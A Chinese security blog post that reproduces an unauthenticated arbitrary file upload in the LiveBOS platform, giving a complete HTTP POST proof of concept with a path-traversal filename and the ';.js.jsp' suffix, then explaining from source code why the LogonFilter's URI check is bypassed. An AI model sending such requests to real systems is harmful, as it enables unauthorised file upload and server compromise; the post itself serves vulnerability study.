[漏洞分析]LiveBos文件上传漏洞复现及绕过分析

LiveBOS-UploadImage.do-任意文件上传漏洞 LiveBOS灵动业务架构平台,是面向对象的业务支撑平台与建模工具。在LiveBos的UploadImage.do接口中,发现了一处任意文件上传漏洞,攻击者可利用该漏洞上传任意文件。 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

最近看到了LiveBos的文件上传,发现他的绕过是;.js.jsp看样子像是利用某种解析差异的特性来绕过。但看完代码后发现是有点搞笑的,于是做个记录。

漏洞复现

利用poc如下:

POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 10338

-----------------------------45250802924973458471174811279
Content-Disposition: form-data; name="file"; filename="//../../../../1.jsp"
Content-Type: image/png

123
-----------------------------45250802924973458471174811279

上传后访问/1.jsp;.js.jsp

绕过分析

这里对于文件上传漏洞具体的逻辑就不进行分析了,代码种同样还存在其他上传的接口。这里主要看下/feed/UploadFile.do;.js.jsp这个权限绕过是咋回事,因为直接访问/feed/UploadFile.do是会提示 "未登录或会话已过期"的。

;.js.jsp这个权限绕过的方式就很眼熟,最开始还以为又是利用解析的差异性来进行绕过的,但是测试发现/feed/UploadFile.do;.js,/feed/UploadFile.do;.js.png这种均无法进行绕过。

查看源代码,寻找原因,在web.xml中看到2个关于.do文件的filter,LogonFilter和Compression Filter。

Compression Filter中没有啥关于传入的url解析判断的逻辑。

LogonFilter中先从会话中获取登录用户的信息,并进行校验,因为我们没有进行登录,所以不会进入这个if分支。

在下一个if分支中,判断isIgnoreUri方法返回的值为true,为true则直接传递给下一个过滤器,否则抛出异常。

在isIgnoreUri方法中,逻辑就很简单,在传入的uri等于/css/stylesheet.jsp,或者传入的uri以.js.jsp和.css.jsp结尾的时候,就会返回true。

这里就大概明白/feed/UploadFile.do;.js.jsp为什么能进行权限绕过了。。

通过上述代码分析,不难发现,/feed/UploadFile.do;.css.jsp也是能进行权限绕过的。

LiveBos任意文件上传漏洞复现:从路径遍历到Webshell利用 文件上传功能是Web应用中的常见需求,但其安全实现至关重要。任意文件上传漏洞的核心原理在于服务器对用户输入(特别是文件名和路径)的校验不足,攻击者可通过构造恶意请求绕过限制。这类漏洞常涉及路径遍历(Path Traversal)和文件类型校验绕过等技术,危害极大,可直接导致服务器被控制。在Java Web应用场景中,如使用Struts等框架,若对`multipart/form-data`请求中的`filename`参数过滤不严,攻击者利用`../`等跳转符即可将Webshell上传至Web目录。本文以Liv 阅读详情

相关推荐

【漏洞复现】LiveBos任意文件上传漏洞 带批量POC

LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。.js.jsp存在任意文件上传漏洞,攻击者可以利用该漏洞获取系统服务器权限,从而控制该系统。,但实际上上传的是一个包含Java Server Pages (JSP)代码的文本文件。: 这是一段JSP代码,当该文件被作为网页请求时会被执行。这样的相对路径来遍历目录结构,以将文件保存到服务器的其他位置。,这是文件上传时常用的数据格式,并指定了数据边界。

qq_48368964的博客 2456

React Native Webview安全问题解决办法

威胁描述 根据CVE披露的WebView远程代码执行漏洞信息(CVE-2012-663、CVE-2014-7224),Android系统中存在一共三个有远程代码执行漏洞的隐藏接口。分别是位于android/webkit/webview中的“searchBoxJavaBridge”接口、android/webkit/AccessibilityInjector.java中的“accessibility”接口和“accessibilityTraversal”接口。调用此三个接口的APP在开启辅助功能选项中第三方

lxyoucan的博客 3499

livebos报表开发

文章目录1.参数的设定2.展示的内容3.综合展示的效果4.调用过程5.可以在数据库里面查看6.注意事项7.过程代码 1.参数的设定 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flb5C49A-1619516341977)(/uploads/xinxibuneibuzhishiku/images/m_bc71bb4608053778dbf29e06cd102ae1_r.png)] 2.展示的内容 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-

阿浪的专栏 709

【漏洞复现】LiveBos UploadFile 任意文件上传漏洞

漏洞复现过程记录

weixin_54799594的博客 1831

LiveBOS UploadFile.do 任意文件上传漏洞复现(XVE-2023-21708)

LiveBOS UploadFile.do 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

0xSec 2421

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268)

[ vulhub漏洞复现篇 ] ImageMagick 任意文件读取漏洞 (CVE-2022-44268) 在ImageMagick 7.1.0-51版本及以前存在CVE-2022-44268漏洞。 ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。

qq_51577576的博客 1685

LiveBos任意文件上传漏洞深度解析:从原理到批量挖掘实战

文件上传功能是Web应用中的常见组件,其核心原理是接收用户提交的文件数据并存储至服务器指定路径。若服务端对客户端传入的路径、文件名等参数缺乏严格校验,攻击者可能通过构造恶意参数实现目录穿越,从而将任意文件上传至服务器可访问位置,形成高危安全漏洞。这类漏洞的技术价值在于,它直接关联服务器权限,成功利用可导致网站被篡改、服务器被完全控制等严重后果,常见于各类内容管理系统、快速开发平台等应用场景。本文以LiveBos平台的UploadFile组件漏洞(CVE-2021-77663)为具体案例,深入剖析其因参数污染

weixin_33720078的博客 395

LiveBOS任意文件上传漏洞XVE-2023-21708复现与安全加固指南

文件上传功能是Web应用中的常见需求,它允许用户将本地文件传输到服务器。其实现原理通常基于HTTP协议的multipart/form-data编码,后端接收并解析请求体中的文件数据。然而,若缺乏严格的安全校验,该功能会演变为高危漏洞,攻击者可借此上传恶意脚本,直接控制服务器。在OA、ERP等企业级系统中,这类漏洞危害尤为严重,可能导致核心数据泄露与业务中断。本文以LiveBOS工作流平台的历史漏洞XVE-2023-21708为例,深入剖析其未授权访问与过滤缺失的成因,并演示如何通过Burp Suite工具进

weixin_31648507的博客 358

保姆级教程:用Docker快速部署mpromonet/webrtc-streamer实现WebRTC直播(附常见问题解决)

本文提供了一份详细的Docker部署mpromonet/webrtc-streamer的实战指南,帮助用户快速搭建WebRTC直播服务。内容涵盖从环境准备、基础部署到进阶配置与性能调优的全过程,并针对容器网络、视频流配置、跨网访问等常见问题提供了解决方案,旨在实现低延迟的流媒体传输。

dell8的博客 177

重磅!AI实时读取总结微信聊天记录,附MCP协议+智能体配置教程!

【摘要】本文介绍了一套AI实时分析微信聊天记录的解决方案,通过Chatlog+Trae+MCP协议实现智能整理群聊信息。Chatlog作为开源工具本地解析微信数据,确保隐私安全;Trae提供AI分析能力,支持自然语言处理。操作步骤包括:1)下载运行Chatlog并启动HTTP服务;2)安装Trae配置MCP协议;3)创建智能体设置提示词。该方案虽需初始配置,但能有效解决群聊信息过载问题,自动提炼关键内容,避免有价值信息被淹没。文中提供了详细教程链接和网盘资源。

puyihuan的博客 1万+

LiveBOS学习笔记

1、搭建开发环境 2、开发命名规范 3、对象视图方法 4、工作流设计 5、报表设计 6、图表设计 7、菜单权限 8、门户设计 9、入门级试卷

Eimhin 4625

“傻瓜”学计量——双重差分DID3(多期双重差分原理+解决方案CSDID原理)

“傻瓜”学计量——双重差分DID3(多期双重差分原理+解决方案CSDID原理)

nnpersistent的博客 5057

LiveBOS是什么?

LiveBOS(简称LiveBOS)是以业务对象建模为核心的业务中间件及其集成开发工具。它适合各类基于WEB的专业应用软件与行业应用的开发。在LiveBOS的支持下,应用软件彻底实现“业务驱动,导向”的软件开发模式,并实现“应您所需,随时而变”的应用。 LiveBOS系统由三个相当独立的产品构成:运行支持支撑平台 LiveBOS Server;开发集成环境LiveBOS Studio以及运维管理工

LiveBOS的专栏 2023

2019年上交电院计算机直博保研经历

本人选报的是上交六月一日在武汉举办的直博选拔,五月三十一日到达酒店,地点在武汉大学旁边(PS:上交是不管住宿、来回车票的,~划重点~包括夏令营),入住后当然是紧张的准备英语面试等等内容了,当天我是排在了下午面试,感觉还很好,上午可以多睡一会,最好能够去踩踩点上午,然后下午面试一定要早去,说是一点开始,但是老师十二点半就开始让学生进去了,有一个同学排在第二个,但是当时叫到他时还不到一点,没到,最后据...

LifeMaker的博客 4893

Wan 3.0提示词实战:从抄作业到改作业的完整技巧

AI视频生成中,提示词是决定成片质量的核心。视频模型依赖于文字约束来定义运动轨迹、镜头语言与物理合理性,提示词工程因此成为连接创意与技术的关键。本文从提示词的结构、资源获取、优化方法入手,结合Wan 3.0的模型特点,梳理了从官方模板到社区案例的实战路径,并强调运动一致性、风格词堆砌等常见问题。通过分解主体、动作、镜头等维度,帮助创作者快速找到适配的提示词,提升视频生成的稳定性与惊喜感。

weixin_29483277的博客 351

#渗透测试#批量漏洞挖掘#LiveBos UploadFile(CVE-2021-77663-2336) 任意文件上传漏洞

LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。它适用于各类基于WEB的专业应用软件和行业大型应用的开发。LiveBOS由三个相对独立的产品组成:运行支持支撑平台 LiveBOS Server,开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。

soc的博客 1296

YOLOv11 改进 - 主干网络| 清华大学CloFormer AttnConv :利用共享权重和上下文感知权重增强局部感知,注意力机制与卷积的完美融合

本文介绍了轻量级视觉变换器CloFormer及其核心模块AttnConv在YOLOv11中的结合应用。为解决视觉变换器缩小到移动设备友好尺寸时性能下降的问题,提出CloFormer,其引入AttnConv操作符。AttnConv融合共享权重和上下文感知权重,先通过深度卷积提取局部表示,再用上下文感知权重增强特征,还结合传统注意力减少FLOPs,使模型感知高频和低频信息。我们将AttnConv集成进YOLOv11,实验表明,CloFormer在多个视觉任务中表现优越,改进后的YOLOv11也取得了良好实验结果

魔改工程师的博客 989

LiveGBS国标流媒体GB28181开放流媒体服务平台-实际测试时问题排查

LiveCMS 和 LiveSMS都部署起来后,浏览器输入ip:10000端口打不开LiveCMS的页面。这种情况一般是LiveCMS的10000端口被其他程序占用了导致。可以先卸载LiveCMS,打开livecms.ini文件,把http端口从10000改成100002或其他端口,再重新安装LiveCMS。

青柿视频流媒体的博客 1万+

合肥工业大学操作系统实验8

依据操作系统课程所介绍的地址映射与内存共享的原理,本实验的目的是深入理解物理内存的分页管理方式。 深入理解操作系统的段、页式内存管理。包括理解段表、二级页表,以及逻辑地址、线性地址、 物理地址的映射过程。编程实现段、页式内存管理上的内存共享,从而深入理解操作系统的内存管理。从而加深对教材上地址映射与内存共享的理解。

Martin-share的博客 1721

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

liveBOS环境搭建

环境搭建:1.准备jdk1.6及以上版本oracle11gplsqlsql脚本(oracle_init.sql,oracle_insert.sql)livebos_tomcatlivebos的授权文件 2.jdk的安装及环境变量的配置在命令行窗口中输入 java -version 查看自己安装的jdk版本本机装的是jdk 1.7.0_51,因为是jdk版本1.6以上,所以就不更换了 如果没有安...

weixin_30295091的博客 622

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

模型即软件,建模即开发——顶点软件LiveBOS灵动业务架构平台

<br />自上世纪40年代出现软件以来,尤其是1955年第一家软件公司CUC在美国成立,软件产业开始独立于硬件产业,并走向高速发展的道路。如今软件在生活中亦无处不在,从核工厂到航天飞机、卫星通信,再细微到股票交易和移动电话,均随处可见软件应用的身影。软件已经和我们的生活和工作密切相关。<br />软件产业的一个基本现象,就是基础平台与工具技术的更迭和变革愈演愈烈,完全超出人们的预期和意愿,以及个人所能应付的范围。在短短十多年间,基础技术经历了从面向过程到基于对象,从基于对象到面向组件,从面向组件到面向对象

20年技术经验|专注小程序+外贸独立站|已服务500家企业,分享创业中有趣的产品和技术经验。 5589

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

Java开发指南

Java开发指南 安装Git 参考: Git使用说明 安装JDK7 重要说明:服务器环境使用的Java 7,本地开发请保持一致。否则,使用JDK8编译的class可能在Java 7上不兼容。 Mac OS X 从内网FTP下载pkg安装文件,接受安装向导默认配置即可: http://ftp.jdb

u010412301的博客 483
上一篇: [漏洞复现]海康威视综合安防管理平台存在licenseExpire前台RCE
下一篇: [漏洞复现]章管家前台任意文件上传漏洞(XVE-2024-19042)
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值